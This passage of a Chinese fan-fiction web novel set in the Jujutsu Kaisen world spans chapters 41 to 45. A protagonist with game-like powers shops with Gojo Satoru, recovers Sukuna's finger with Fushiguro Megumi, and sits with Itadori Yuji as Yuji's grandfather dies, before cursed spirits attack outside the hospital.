“好啦,我和加茂老师接下来要去逛街购物,”五条悟问,“惠要一起来吗?晚餐我请客哦。” “谢谢,我就不去了。” 伏黑惠立刻弹射起身告辞。 他才不要打扰这两个人,简直就像腰间别了个超闪亮的电灯泡出门…! “啊呀,跑得真快。” 五条悟目送伏黑惠离开,转头问问羽取一真的声音软软,还透着显而易见的困惑。 “惠是不是害羞了啊?” 压根没关注伏黑惠心态的羽取一真同样迷茫片刻,摇头。 “完全不清楚。” 五条悟撑着脑袋想了一会儿,就决定不管了——正值青春期的小男生,心底装着的那些弯弯绕情绪可复杂啦,他也没必要非搞懂不可,只要能守护住就好了! “算了,天气这么好,我们自己去逛啦。” 五条悟“嘿咻”一下直起身,将翘起的椅子归位。 “而且啊,我平时戴的墨镜上次被你吓裂后,一直忘记买新的了,这副备用品戴起来总感觉不太舒服。” 以前就算了,没想到如今的他竟然也会出现因为过于震惊而不小心让咒力外泄,当场阵亡一副墨镜的惨剧呢。 “好。” 和漂亮大悟一起逛街多少次都不会腻,羽取一真欣然答应。 虽然说是要逛街买墨镜,但五条悟的墨镜其实是特别定制款,也有固定去光顾的店。 平时都是戴方便穿卸的眼罩出任务,总想不起来要定制新的,这次换成休闲装束,戴着怎么调整都不适应的备用墨镜出门后,五条悟总算想起他得去买一副新墨镜了。 正好趁着任务兼教学的繁忙期告一段落,五条悟熟门熟路的带羽取一真来到眼镜店。 “嗨,老板——” 五条悟熟稔的和老板打招呼,另一只手还搭在羽取一真的肩膀上。 “抱歉——之前定制的墨镜不小心被我弄坏啦,得再买一副哦。” “是五条先生啊!好久不见,你看起来相当精神呢,是遇到什么好事了吗?” 老板闻声从柜台后抬起视线,略端详了五条悟和羽取一真几眼,才笑着回以招呼。 “算是啦,”五条悟也笑起来,吐字的声线显得相当愉快。 “最近遇到的好事确实还挺多呢。这次做新墨镜需要多久?” “你之前定制的镜片还没用完,再做一副新的也不需要花很长时间。” 老板问,“镜框的选择还是和上次一样吗?” “没错,麻烦你了——” 五条悟和老板简单对了几句,便将需求了定下来,只需要等老板将镜片边缘稍微打磨一下,嵌进镜框里,就可以佩戴了。 而等五条悟转回视线,看见羽取一真隐约露出点好奇的表情,便主动为他解惑。 或者说,黑发青年的脸上其实并没有流露出多么明显的情绪,只是和他相处时间长了后,五条悟能够敏锐察觉到,对方应该正在对他的墨镜感到好奇。 “我的眼睛很特殊,你也知道的,” 本就搭着羽取一真肩膀的五条悟侧过脑袋,压低声音,几乎是在以一种跟对方说悄悄话的亲昵姿态,小声解释道。 “如果不遮住的话,我的眼睛随时都在以极大的数据量来不间断地分析周围的咒力情报,那样会太累啦。” “像眼罩和墨镜,都是为了防止大脑总是超负荷处理数据而戴的。它们可以通过隔绝视线的方式,来屏蔽部分数据。” “所以呢,平时我会戴那副眼罩出任务,它的好处是柔软,固定好后很稳,取下来也方便,也不怎么需要担心被外力破坏或丢失。” “但平时穿休闲装的话,搭配眼罩会很奇怪吧?所以就会戴这种镜片特殊的墨镜。” 五条悟摘下自己那副备用品墨镜,给羽取一真戴上。 “你试试,基本上是漆黑一片哦?” 羽取一真抬手接住那副被架到鼻梁上的墨镜,扶稳,认真体验起五条悟平时看向外界的视角。 “嗯……除了隐约的轮廓形状外,什么也看不清。” 如果忽略从墨镜缝隙透进来的些许光线,与盲人视角也几乎没什么区别了。 “是吧?” 说到这里,五条悟稍微拉开二人间的距离,捏着下巴来回端详。 “不过嘛,仔细一看,你戴墨镜的模样还挺酷的啊……干脆也给你买一副正常镜片的墨镜好了。你有没有看中的款式?” “和你一样的。”羽取一真眼也不眨答道。 衬衫都买同款了,墨镜当然也要同款! 光想一想就超开心的! “——还真是毫不意外的答案。” 五条悟虚了下眼睛,好似对这答案十分无奈又习惯的模样,唇角却悄悄的翘起来。 “好啦好啦,给你也买一副同样的。老板——” “好喔!” “啊,既然都来了这里,干脆等会去街角的咖啡店好了,那里的覆盆子乳酪蛋糕超——美味的!” “好。” “然后晚上来打游戏!我早就想玩那个新发售的双人游戏了!” “好。” 戴着盲人墨镜的羽取一真看似冷酷的点头,五条悟在愉快的笑。 柔软的、轻飘飘的氛围萦绕在二人身边,比覆盆子蛋糕还要更甜一点。 第42章 那副与五条悟同款的墨镜最后被羽取一真收到物品栏里, 细心保管。 这是漂亮大悟送给他的回礼,四舍五入可就算是定情信物了! 光是看一眼,就能让人的幸福值扑通扑通地往上蹦跶。 不过, 羽取一真作为替补教师, 与五条悟的相处时间反而比之前要少了一些。 毕竟要是每次五条悟出任务他都一起过去,那“替补教师”的职位就形同虚设了——哪怕目前的一年级学生只有伏黑惠一个人,那也好歹是有学生的啊。 因此,在正常的教学时间内,只要五条悟出差,羽取一真就不得不待在学校里。 很怨念, 但没有办法,替补教师这个职位还是他自己争取来的…… 幸好五条悟时不时就会拍点照片过来, 再配上几条消息, 诸如[这家店的门口竟然摆着狸猫雕像耶], 或是[在居酒屋里点无酒精饮料, 被调酒师用奇怪的眼神看了],再或者[这里的山茶花是不是超漂亮?你看你看]之类。 末尾则必定会带着各种符号组成的颜文字表情, 光是读着就会非常开心,能想象出漂亮大悟是用怎样可爱的软绵绵语气在说出这些话。 早知道还不如去应聘辅助监督呢,就像伊地知洁高那样,反而可以跟着悟到处跑。 羽取一真有点遗憾, 但想想他都不会开车, 就算当上了辅助监督也没辙——反而得给他这个辅助监督再配一个司机。 目前针对[标记]的搜查也还没有下文,据那些加茂长老说, 他们明明记得有在哪里见过这个纹样,却无论如何都找不到具体的出处,只能继续一本本的翻找过去。 而加茂家传承千年所积累出的藏书量……羽取一真去看过一眼, 就直接退出来了。 让他们慢慢去找吧,反正有一个月休假吊在眼前,他们可比他上心得多。 五条悟在自己努力翻了大半天的书无果后,也选择采纳羽取一真的好办法,安排几个五条家的仆人接着继续找。 至于总监部的高层,他们这段时间被羽取一真连惊带吓的,各个安分守己——至少表面上是安分守己的——没有再找羽取一真或五条悟的麻烦。 只有幕后黑手的真正身份这点,羽取一真他们目前仍然没什么头绪。 按照五条悟的猜测,幕后黑手不可能花费最少几十年的时间来布局,只为了除掉今年刚冒出来的羽取一真。 因此,对方必定还会再有所行动。 他们迟早会逮住尾巴,将这人彻底揪出来。 在咒术界那平稳表象的暗流涌动中,时间很快来到了六月。 天气逐渐炎热,即将入夏的季节使人心浮躁不堪,诅咒也像飞虫那般喷涌而出,有时还能集聚起等阶不低的咒灵。 [窗]也传来消息,确定放置在仙台的杉泽第三高中里的特级咒物出现了封印松动的迹象,请求伏黑惠即刻动身前去回收。 “悟去出差了,好像离仙台挺近的。” 羽取一真问正打算出发的伏黑惠,“需要我陪你一起去吗?” 反正已经是晚上了,他的教师工作已经结束了! 伏黑惠:“…………” 这话问的,去仙台只是顺路,根本目的就是想去找五条老师才对吧,这人的小心思简直超明显…… “我都可以。” 伏黑惠默默开口,“你想来的话,就一起走吧。” 反正从东京坐新干线去仙台也只需要一个半小时,他去回收完特级咒物就马上回来,顺势把空间让给这两位老师,不必做一盏惹眼的电灯泡。 老实说他现在已经彻底习惯了这两人的关系日渐亲密,是哪怕看见他们互换对方衣服出门,他也完全不会吃惊的程度。 既然伏黑惠没有异议,羽取一真便跟他一起买了去仙台的新干线车票,途中给五条悟的LINE账号发消息。 [好唷,我大概要等明天才能搞定任务,先麻烦你照看惠了哦,然后再来找我——] 末尾附上一个JK(女子高中生)伸出手指,在可可爱爱比着耶的表情包。 除了颜文字,五条悟最近还喜欢上给羽取一真发表情包,而且特别中意使用各种可爱的二次元萌妹和卡通小动物,连原本就很可爱的语气都变得更可爱了。 不过想一想,漂亮大悟本来就很懂各种流行语——甚至比他这个真·高中生还要懂得多——用二次元萌妹和卡通小动物当表情包,倒是也一点都不稀奇。 “明天啊……” 羽取一真收起手机。 等伏黑惠拿到那个特级咒物,踏上返程时,他也正好与对方分开,去找漂亮大悟。 ——原本是这么打算的,可是,意外要来得更突然。 按照[窗]的说法,那个特级咒物目前应当放在杉泽第三高中围墙角落的百叶箱里,但羽取一真和伏黑惠趁着深夜前去回收时,发现它不翼而飞了。 找遍了百叶箱的周围也没有。 伏黑惠:“…………不是吧。” 刚才还嫌高专就这样把特级咒物放在百叶箱里的行为很蠢,现在好了,连回收的机会都没留给他。 “被偷走了?”羽取一真问。 “不清楚,”伏黑惠摇头,“感知不到咒物的气息,或许是被哪位学生捡走了。如果只是放在教学楼里还好,要是被带回家……” 就只能等白天再来搜查了。 希望不会有人把这么危险的东西放在家里,一旦诅咒的气息泄露出来,可是要出大事故的。 羽取一真感知不到所谓的[咒力],只能陪着伏黑惠挨层爬完教学楼,仍旧没有找到特级咒物。 这下,他们真的只能在仙台滞留一晚,等白天学生都来上课时,再开始排查是否有学生的身上传来咒物的气息——哪怕仅是残秽也好。 连五条悟在得知这个消息后,都忍不住发出“真的假的啊”的吐槽。 “不过,你们也要当心。” 五条悟在电话里认真道,“就算只是放在百叶箱里,特级咒物、不,辟邪物的周围也应该会有结界之类的措施,将它与普通人隔离开才对。” “不管是被诅咒师盗走、被吸引来的咒灵吞噬还是普通人捡到,这都不是一个正常现象。” “悟在猜,是有人故意让它丢失的?”羽取一真微微蹙眉。 “Bingo,猜中啦!奖励等我回头带给你哦——” 五条悟先拖着长腔夸夸完羽取一真,才继续开口说道。 “联系前段时间发生的事情,还有那场人为制造的雪崩意外……我们把这次特级咒物的丢失也算在[故意为之]上,就很好理解了吧?” “嗯,确实。” 羽取一真点头,百分之百相信五条悟的猜测。 既然悟说了辟邪物丢失是不同寻常的事件,那就肯定有幕后黑手作祟——搞不好,和最近他们在追查的幕后黑手是同一个人也说不定。 “所以啊,你要当心这是不是又一次针对你的阴谋。” 五条悟停顿片刻,似乎相当苦恼的纠结了会,才叮嘱羽取一真道。 “我这边任务一做完就去找你,[两面宿傩的手指]是非常危险的咒物,最坏的情况是封印彻底解除,引来诅咒吞噬并化身为特级咒灵……如果有出现这样的迹象,你就先带着惠离开,等我赶到。” “对上特级咒灵是很麻烦的喔,它们基本会自带生得领域,类似于术师的领域展开。” “嗯,”羽取一真认真答应道,“我会小心的。” 挂断电话后,羽取一真忽然想起来。 之前祓除[疱疮祸根]时遇到的那个咒灵,是不是就有生得领域来着?毕竟当时的风景改变了…… 啊,难怪那时得到的咒力结晶是特级的。 它目前还躺在他的物品栏里,和其余那些没用完的咒力结晶放在一起。 毕竟想要[戒禁取见]持续发动,就得一直补充咒力量才行,他便随时备着一堆咒力结晶在物品栏,相当于囤了一堆回蓝药水。 虽说羽取一真也想试试自己能不能打过两面宿傩……但悟交代过要照看好伏黑惠,他还是稳妥点比较好。 转天。 羽取一真再度陪同伏黑惠来到杉泽第三高中,先绕着周围排查了一大圈,确定还是学校的咒物气息最明显。 “这边,诅咒的气息过于浓了,” 伏黑惠的眉头紧皱,望向教学楼的方向。 “不仅封印已经松动了,气息外泄得还很厉害,我没办法精准到具体的位置,但可以确定是学校里。” 能够感知诅咒气息的辅助监督也站在校门口,帮他们守住出去的道路,以防再度被人带出学校。 “那就从外向内开始找起。” 羽取一真认真道,“惠负责专心感知,只要能锁定目标,我来抓住那人。” 伏黑惠点头,“好。” 此刻的时间,已经来到下午。 操场十分热闹,似乎有人正在欢呼着什么“西中之虎”,声音大到羽取一真他们也望了过去。 是一位樱发少年,正在和谁比赛扔铅球。 “扔出的距离好像超过了世界纪录,”伏黑惠看了片刻,说道,“真厉害啊,似乎是真希学姐那个类型的。” 伏黑惠正要收回视线,却与奔跑的那位樱发少年擦肩而过——浓烈的咒物气息随之传来! “在他的身上!等等!!” 而他的这句话刚脱口而出,对方已经瞬间跑远了,眼看连身影都要消失不见。 “可恶,追不上…!” “没问题,我来追他。” 羽取一真压低身体,调出技能列表。 <赤血操术·赤鳞跃动>! 第43章 刹那间暴涨的身体素质, 令羽取一真冲刺出去的速度同样远超常人,不再与那位樱发少年拉开距离。 即使通过咒力强化身体,伏黑惠跟着跑了两步仍然没追上, 只好放弃的停在原地, 等加茂老师带人回来。 幸好用<赤血操术·赤鳞跃动>大幅度提高过后的身体身体数值,能让羽取一真不至于跟丢那位樱发少年,但竟然很难再进一步缩短距离,着实令人没有想到。 能有这身体条件,去参加奥运会都能轻松打破世界纪录了吧……不愧是游戏,人物的属性面板可真敢设计。 羽取一真也不打算一直不远不近的跟在对方身后跑去终点, 而是张口迅速喊了一句。 “前面的粉色头发,你钱包掉了!” “什么?!” [钱]这个字非常敏感, 让对方立刻刹车, 大惊失色的转回头来。 掉钱了可不是小事! 然而身后的地面空空如也, 只有一位穿着超正式和服的黑发青年离他越来越近, 且似乎甩手朝他扔出了什么东西。 在一瞬间的错愕之下,他便感到腰上被类似绳索似的东西束缚住了, 紧紧勒着,摸上去却什么也没有。 “咦?” “虎杖悠仁?抓住你了。” 等樱发少年——虎杖悠仁再困惑抬头看向那位黑发青年时,对方却能准确念出他的名字,声线偏低, 语速不急不缓, 显得格外冷淡——或许也与他的气质有关,充斥着一种极沉稳却冷漠的疏离感。 “怎…怎么了?” 虎杖悠仁突然感觉有点紧张。 能被这样少见的类型喊住, 还被看不见的绳索勒着,他还能问出一句[怎么了],已经可以称得上是心理素质相当强韧。 “你身上带着违禁品, ” 照片在伏黑惠的手机里保存着,羽取一真没见到那个特级咒物长什么样,只能简明扼要道。 “跟我回去,我的学生会向你解释清楚。” 幸好在这位樱发少年回他话的一瞬间,名字就出现在了【社交】界面,可以被<赤血操术·赤缚>选为束缚目标,以防这人再次跑没影。 先让伏黑惠回收特级咒物,再花时间慢慢解释。 “欸,你是我们学校的老师吗?” 虎杖悠仁又茫然,又努力回想,“违禁品……我书包里也没放什么东西啊。” “不是这所学校的。” 羽取一真懒得再说了,直接拉紧血绳,连带想拉着虎杖悠仁往学校的方向走。 “不行不行,我还有事啊!” 虎杖悠仁双脚蹬地,死活不肯跟着对方回去。 羽取一真用力拉了一下血绳,但对方稳稳站在原地,除了上半身后仰着和他角力,整个人可以说是纹丝不动。 “…………” 还开着<赤血操术·赤鳞跃动>的羽取一真有点无语。 这是哪里来的大猩猩? “不会耽误多少时间,只是让我学生回收一下你拿走的违禁品。” 羽取一真努力往学校的方向拽人。 “我身上真的没有违禁品……话说你到底用什么东西捆着我?” 虎杖悠仁努力往医院的方向蹬步。 场面一时之间僵持不下,来往的路人纷纷困惑投来目光,直到伏黑惠等不及,循着尚未消散的咒物气息找过来——然后看愣了。 “……你们这是在做什么?” ……拔河? “你来得正好。” 松口气的羽取一真也终于能放开血绳,转而让伏黑惠过来处理。 “他的名字是虎杖悠仁。” “刚才就想问了,你是怎么知道我的名字……” “先别管名字的事情了。是你持有这个东西吗?它很危险,快点交给我。” 虎杖悠仁满脸茫然,看着被伏黑惠怼到眼前的手机照片。 “啊这个,是我捡到的没错……”他挠了挠头,“它很危险吗?为啥?” 普通人看不见咒灵,也完全不了解咒物的危害。伏黑惠深吸口气,尽量简短的将这部分解释给他听。 “就是这样,特级咒物的外泄气息一旦惹来强大的诅咒,只造成一两条人命都是最好的后果了。所以快点交给我。” “…………” 听完科普的虎杖悠仁表情僵硬住了,从口袋里拿出那个已经空空的木盒,展示给他们看。 “糟糕,我把它给佐佐木学姐了,因为缠着布条,看起来很像灵异物品……” “…………” 对这人的心大感到无语的伏黑惠沉默片刻,看了眼手机时间,立刻问虎杖悠仁。 “她现在还在学校里吗?” “啊,应该还在的,刚才也在操场上看我投铅球来着。”虎杖悠仁迟疑道。 “那快带我去找人。” 伏黑惠二话不说就要拉着虎杖悠仁走——拉了一下,没拉动。 回头一看,虎杖悠仁仍旧倔强的、稳稳的踩在原地。 伏黑惠:“…………” 他现在知道为什么刚才加茂老师在跟他拔河了。 大猩猩吗这家伙! “可是,我还要去医院探望爷爷。”虎杖悠仁苦恼得皱起眉毛,连表情都快拧巴成纠结的一团,“他已经……快要没时间了,我必须要去他身边陪着才行。” “我不会拦着你探望爷爷。” 伏黑惠扶着额头思索片刻,想出一个办法。 “虽然咒物外泄的气息太过强烈……但我至少能感知到大概的位置,你如果有学姐的照片,可以发我,我来凭气息找她。” “好啊,太感谢你啦!” 能有这样两全其美的解决办法,虎杖悠仁高兴的掏出手机,和他互加LINE账号。 然后,伏黑惠将木盒也递给羽取一真。 “木盒得继续放在你那里,它的气息太强了,会干扰我的咒力感知。”伏黑惠想了想,“而且,加茂老师最好跟虎杖悠仁一起去医院。他现在身上带着强烈的咒物残秽,我担心会受到咒灵袭击。” 羽取一真沉思片刻,不放心道。 “放你一个人没关系?” 毕竟他其实不太在意咒物丢没丢,别让悟交代给他照看的伏黑惠出事才更要紧。 “没事的,”伏黑惠说,“如果咒物的封印还没有解除,我只需要拿到就可以了,之后就立刻赶来和你汇合。虎杖,你要去哪家医院?” 虎杖悠仁一愣,“啊,那个,杉沢医院,301病房。” “知道了,我会尽快过去。” 事不宜迟,收到佐佐木学姐照片的伏黑惠简单交代两句就和羽取一真他们分开,独自返回学校寻找那个特级咒物。 而羽取一真则跟在虎杖悠仁身边,先去花店买了两束花,才前往医院。 “咦,你也买了一束吗?”虎杖悠仁看着羽取一真手里的花束。 羽取一真点头,“我也算是一起去探望你爷爷了,怎么能空手。” 他只是对那帮跟他不对付的咒术界老头凶亿点而已,平时还是很讲礼貌的。 “啊,没关系的,他不会介意的啦,” 虎杖悠仁笑起来,对这位加茂老师也有了改观——还以为他是那种对什么都漠不关心,超冷酷孤傲的类型呢。 “我也不是买给他的哦,只是带给一直照顾他的护士小姐的。” 在路上的交谈中,羽取一真得知虎杖悠仁的父母在他有记忆之前就已经不见了,从小就和爷爷虎杖倭助相依为命,因此也和爷爷的感情最深。 “不见了?” 羽取一真有点奇怪虎杖悠仁用的这个形容词。 “就是不见啦,毕竟我没有记忆嘛,爷爷也没和我详细说过,所以不知道具体是什么情况。” 虎杖悠仁带着羽取一真走在住院部的长廊里,上楼拐弯都显得极为熟稔,甚至不需要看门牌号也能准确找到房间。 “爷爷——” 进来前,单手捧花的他先敲了敲门框,让躺在床上的虎杖倭助听到动静。 “我带老师来看你啰,这位是加茂老师。” “您好。” 羽取一真点头,将手中的花放在床头,“我是加茂老师。” 【加茂老师】也是他当上高专教师后新获得的头衔,可以让npc规避掉强制喊他昵称的游戏设定。 “加茂老师?” 虎杖倭助嘀咕一句,估计也很困惑哪有人只用称谓来做自我介绍的。 “你好啊,一直以来,我家悠仁受你关照了。” 但他还是认真对羽取一真道谢,换来后者的微微摇头。 “我不是虎杖悠仁的老师,”羽取一真说,“我是东京咒术高专的教师。” 极为平淡的一句介绍,却令虎杖倭助的表情变得瞬间错愕无比,几乎是整个人僵硬着看向羽取一真,好似听到了什么难以置信的内容。 “咒术……?” 刚被科普这些非日常概念的虎杖悠仁“啊”了声,赶紧给这位完全不加遮掩的加茂老师找补。 “就是那种,名字带咒术的普通学校啦……” “悠仁,我知道什么是咒术。” 虎杖倭助开口打断虎杖悠仁的蹩脚理由,严肃面容下的声音低沉,透着下定决心似的凝重。 “或许这就是时机到了……正好,我在最后还有些话想对你说。” 虎杖悠仁愣了下,“什么?” 羽取一真刚想配合的离开,让出隐私空间给这对爷孙,却同样被虎杖倭助喊住。 “加茂老师,也拜托你留一下。” “我要说的,是关于悠仁父母的事情。” 第44章 “爷爷, 不要说那么多话啦,你的身体好点了没?” 一听到爷爷是打算提起自己的父母,虎杖悠仁明显就有点不太想继续听下去了。 他将花束的外包装解开, 找来花瓶, 准备将这些仍绽放的花枝重新整理一遍,插入花瓶里,摆在窗台当装饰。 如果不是羽取一真在这里,他大概会大声打断虎杖倭助的话,拒绝再继续听这些内容吧。 “悠仁,你必须听我说。” 原本坐起些许身体的虎杖倭助往后靠在病床上。久违回忆起那并不怎么愉快的过往, 令他郁结般的吐了口气。 “你的父母,并不是因为出现事故, 或者是普通的感情问题, 才离开你的。” “…………” 手里握着康乃馨的虎杖悠仁, 梳理花枝的动作没有继续下去。 站在窗户前的他转过脑袋, 朝着虎杖倭助的方向望过来,沉默的听爷爷继续往下说。 “虎杖仁, 他一直都是我的好孩子,从出生到成人,中途虽偶有波折,但大多顺遂如心。” 罹患肺癌的虎杖倭助痛苦喘息出一口气, 才继续往下说道。 “直到……他喜欢上了你的母亲, 虎杖香织。她就是一位咒术师。” “竟然说咒术师……就是和加茂老师还有伏黑惠一样的情况吗?能够用看不见的绳子绑住我?” 虎杖悠仁诧异睁大眼。 “应该是的。”羽取一真点头,“咒术师的设定就是能够驱使体内产生的咒力, 使用普通人看不见的术式。” 姑且算是当上了咒术高专的教师,羽取一真拉着休假时的五条悟求教,也姑且算是恶补了一番这个世界观的详细设定。 “但不同的术师, 使用的术式并不相同。即使是同一种术式,也会因为时代以及施展术式的术师开发程度不同,而展现出表象上的差异。” “香织她……大概和反重力有关吧。” 虎杖倭助望着天花板,感觉放在被子上的指尖已开始发凉。 “毕竟我只是个普通人,她和仁在一起之后,只跟我提过一句,也不会特意将术式解释给我听。但偶尔的时候,我瞥见过她让东西往上飘。” “一开始,她和仁过得很好,两个人很开心,我也不反对她跟仁在一起。” “直到后面……她明明死了。” “她明明死了,却又活着出现在了我和仁的面前。她变得相当危险,但仁很高兴,又有了刚出生的悠仁,即使我再三劝阻,他也根本不愿意放手。” “随之而来的就是……失踪。无论她还是仁,都再也没有出现在我眼前。” “只有悠仁,被我带离了仙台,在小地方长大,直到快七岁才再度回到这里。” 当虎杖倭助沙哑讲述的声音低沉下去,直至结束时,病房内都仍旧保持着一种短暂的、死寂的安静。 直到虎杖悠仁发觉一直握在手里的花枝都已被捏得变了形,才恍然松开。 “爷爷……” 他用力眨了下眼睛,好似要掩去几乎要溢出的那些情绪般抬起头,正要唤出一声时,又被对方打断了。 “悠仁。” 虎杖倭助开口,本就沙哑的声音已变得愈发艰难,连每一次极为粗重的喘息,都好似能听见肺部在努力汲取氧气的痛苦。 “我没办法找到真相了,但你还可以。” “无论香织为什么会变成那样,至少,我还有仁,都是爱着你的。” “加茂老师,你是那边的人……如果可以的话,还请你往后,稍微照拂下悠仁这个孩子。” 虎杖倭助睁着眼睛,感受着每一次力不从心的呼吸,浑浊的视野在眼皮的缓慢眨动间,逐渐黯淡下去。 “悠仁他,真的是个很好很好的孩子……” 羽取一真站在病床前,望着这位已是风中残烛、处于弥留之际的老人——他大概是不放心唯一的孙子,才会努力撑久一点,再撑久一点吧。 他认真点头,好似交接般在床前半蹲下身体,将手放在虎杖倭助的手背上。 “嗯。”羽取一真承诺道,“交给我吧。” “啊……感谢你……” 虎杖倭助闭上眼睛。 “最后,我还想和悠仁再说几句话……” ………… 羽取一真站在门口,看着虎杖悠仁从病房里慢慢走出来,停在他面前。 他的眼眶红了一片,还有匆忙擦拭过的痕迹。 “爷爷去世了。” 虎杖悠仁刚对着羽取一真说出这句话,眼泪便又落了下来,被他抬手用衣袖蹭干净。 “我很抱歉。” 羽取一真轻声开口,借着衣袖的掩饰从游戏【商城】里兑换出纸巾,递给他。 “没关系,和你没关系的。爷爷得肺癌已经很久了,最近身体也越来越差……能在爷爷走之前陪在他身边,我其实,挺高兴的。” 接过纸巾的虎杖悠仁摇了摇头,深吸口气——却还是止不住那一直涌出眼眶、滑落面颊的泪水。 “我只是……第一次遇到这种事,有点不知道该怎么办。” 他缓慢靠着走廊的墙蹲了下来,又变成蜷起双腿坐着,双手环抱着膝盖,脑袋深深埋了进去。 有隐约的抽泣声传来。 羽取一真也在虎杖悠仁的身边坐了下来,安静陪着他,没有再说任何话。 投入走廊窗户的阳光从灿烂,到逐渐泛出夕阳的橘红,又缓慢变成了冰凉的暗蓝。 樱发少年的抽泣也早已变得悄无声息,只有来往的护士注意到这边,想要过来询问时,被察觉到的羽取一真先一步轻轻摇头,请她们先离开。 他一直等到虎杖悠仁从交叠的臂弯里抬起头,擦干净眼泪,朝他露出一个有点歉意的微笑。 “不好意思,加茂老师,害你一直等在这里,还被爷爷托付了奇怪的话……” “没关系,” 羽取一真停顿片刻,才又问道,“你好些了吗,悠仁?” 会将称呼变成更亲近的“悠仁”,就意味着羽取一真已经在履行他对虎杖倭助的承诺,会在未来继续照拂虎杖悠仁。 “没什么事啦,” 虎杖悠仁的鼻头与眼眶都发红,盯着眼前的篮球鞋尖。被今天才认识的加茂老师这样关照了,还是让他感觉很不好意思。 “如果哭个没完没了的话,爷爷肯定会发火的。” “不会的,他都说了,”羽取一真认真道,“他和你的父亲同样,都是爱着你的。” 虎杖悠仁喉头滚动,险些又发出一声可怜巴巴的“呜”来,赶紧边擦眼泪边和羽取一真摆手,示意他不要再往下说了。 好不容易平复下来的情绪…… 虎杖悠仁吸了吸鼻子,吐字仍带着浓重的鼻音。 “总之,得先通知护士小姐,办理相关的手续了。” 这些流程反而并不困难,在这里工作的护士已经很习惯这样的离去了,见到虎杖悠仁有人陪着来办理手续,反而松了口气。 一直都只见到这位少年独自前来照料虎杖先生,如今能见到看起来很沉稳的黑发青年陪同着,让她们心里也宽慰些许。 签完那些文件不久,就见到单手插兜的伏黑惠也从住院部门口进来,一副相当疲惫的模样,衣摆还破了几道口子。 “怎么了,伏黑?” 虎杖悠仁和他加LINE账号的好友时就互相知道了名字,此刻也出声关心道。 “你看起来好像很累啊,不要紧吧?咒物从学姐那里拿回来了吗?” “没什么事,你的学姐那时候还在教学楼里,封印也还算完好,只是咒物外泄的气息引来了几只咒灵在外面徘徊,还有一只二级的,就是你们学校附近操场上的那个。祓除它们时花费了点功夫,还得注意不能让普通人看见。” 伏黑惠叹出口气,朝羽取一真伸出手,“麻烦加茂老师把那个木盒给我,我要把它装起来。” 只要等特级咒物被送回高专,然后加固封印后,他的任务就算完成了。 “给你。” 羽取一真将木盒递给伏黑惠,看着他将盒子的一面往外推开,另一只插在口袋里的手拿出,连带那个特级咒物也取出,正要放进木盒里…… “伏黑,你看那个布条的边缘,是不是已经翘起来了?” 虎杖悠仁好奇开口道。 “什么?” 伏黑惠低头看去,却见到原本还牢牢缠在特级咒物上的封印,不知何时已经解开,层层叠叠的绕在他的指间——特级咒物,[两面宿傩的手指],此刻已经能清晰看见模样! “怎么可能!?” 他根本没有动过封印,还是特意攥在掌心回来的,更加不会去尝试解开它! 但此刻,已经迟了。 随着那写满符号的布条自他指间滑落在地,外界响起了危险的嗡鸣声。 好似有咒灵的洪流,远远朝着他们涌来。 “这里可是医院……” 伏黑惠睁大眼睛,难以置信的喃喃出一句。 “还有病人在这里,” 羽取一真当机立断,“先出门。” 三人带着那根两面宿傩的手指,毫不犹豫的冲出住院部大楼,来到更宽阔些的广场中央——虽然看不见咒灵,但敏锐察觉到危险的虎杖悠仁还回头冲呆在服务台后面的护士姐姐喊了声。 “快去避难,别出来!” 此刻,无数咒灵带着听不清的交叠呓语,朝三人冲来。 第45章 “怎么会有这么多咒灵??就算是被特级咒物吸引过来的, 这也完全不合常理!” 面对着这波庞大的咒灵潮涌,伏黑惠极为错愕,但仍凭借着迅速战斗的本能反应, 并拢手指召唤出[玉犬]。 “不合常理吗?” 没经历过这类战斗的羽取一真问道。 他之前是被悟带着猛猛刷到一级咒术师的, 后面两次任务又都出现了各种[人为]的意外,完全不清楚“合理的吸引来咒灵”是一种什么概念。 伏黑惠看着羽取一真,被哽了一下:“…………” 差点忘记了,对方被五条老师第一次带来他家时,还是个完全不懂咒力知识的四级咒术师…… “咦,那个咒灵的数量很多吗?老实说, 我现在什么也看不见……” 站在伏黑惠另一边的虎杖悠仁抬手抓了抓头发,有点不好意思。 伏黑惠看着虎杖悠仁, 被哽了第二下:“………” 伏黑惠顿感无语:“那你跟过来干什么?快回医院去!” 虽然普通人在临死之时, 或是某些特殊情况下能看见诅咒……但明显现在还不到濒死的时候, 身为普通人的虎杖悠仁看不见诅咒才是理所当然的情况。 “啊, 可是看你们都很紧张的样子,我也想帮上点忙来着。” 虎杖悠仁眨巴了下眼, 看起来分外无辜。 他是跟着羽取一真和伏黑惠一起跑出医院的,但身为普通人的他其实完全看不见咒灵的存在,只能隐约感觉到有一股压力。 “诅咒必须要用诅咒才能祓除,” 解释完这句话的伏黑惠指着身后还没有被咒灵围起来的路, 示意他赶紧回去, 趁着咒灵还没有把他们彻底包围起来之前! “好意我们心领了,你先回医院避难, 绝对、绝对别出来!” 眼见虎杖悠仁开始听话的往回冲,伏黑惠立刻将指出去的手收回,转而并拢食指与中指竖在身前。 “[由暗而生, 比黑更黑,污浊残秽,皆尽祓禊]。” 特意避开医院大楼,只将广场笼罩在内的[帐],迅速自天空落下,将羽取一真和伏黑惠,以及往这边涌来的咒灵尽数笼罩进去。 虎杖悠仁跑慢了一步,但他极为顺畅地从那道看不见的暗黑幕帘中穿了过去,没有受到任何阻碍。 “抱歉,加茂老师,情况紧急没来得及和你商量,我刚才制造的[帐]比较特殊,是用[允许普通人可以出入]为代价,来换取[带有咒灵与术师不允许出去]的效果。” 放下手的伏黑惠神情凝重,一白一黑两只玉犬已经冲向离得最近的虫型咒灵,撕咬间喷溅出大量暗紫的液体。 这也意味着,他们同样跟着这群咒灵被关在[帐]里,直到主动打破[帐]为止。 这根解开封印的两面宿傩手指在他身上,也意味着咒灵都会被吸引到[帐]里,但不被允许出去——这样,就能够最大程度的保护那些仍在医院里的普通人。 “没关系,如果惠说这种情况不合常理,那就意味着是[人为]。” 【您找到了三级[尸变咒灵]。】 【进入战斗:是/否。】 是。 【您找到了三级[蜈蚣咒灵]。】 【进入战斗:是/否。】 是。 【您找到了二级[蠕虫咒灵]。】 【进入战斗:是/否。】 是。 【您找到了……… 眼前的弹窗如流水不断滴落,又在羽取一真的意念微动中迅速接连消散。他双手持枪,在频率稳定的扳机叩响中,极为精准地点射扑过来的咒灵,炸开的扭曲肉块带着体丨液,转眼间铺满了一地。 呓语伴随着哀嚎,在不断响起的犬吠与枪声中此起彼伏,浓重的腥臭味蔓延在每一寸黯淡的空间内,将这里搅成了某种特殊的屠宰场,或是另一种恐怖的炼狱。 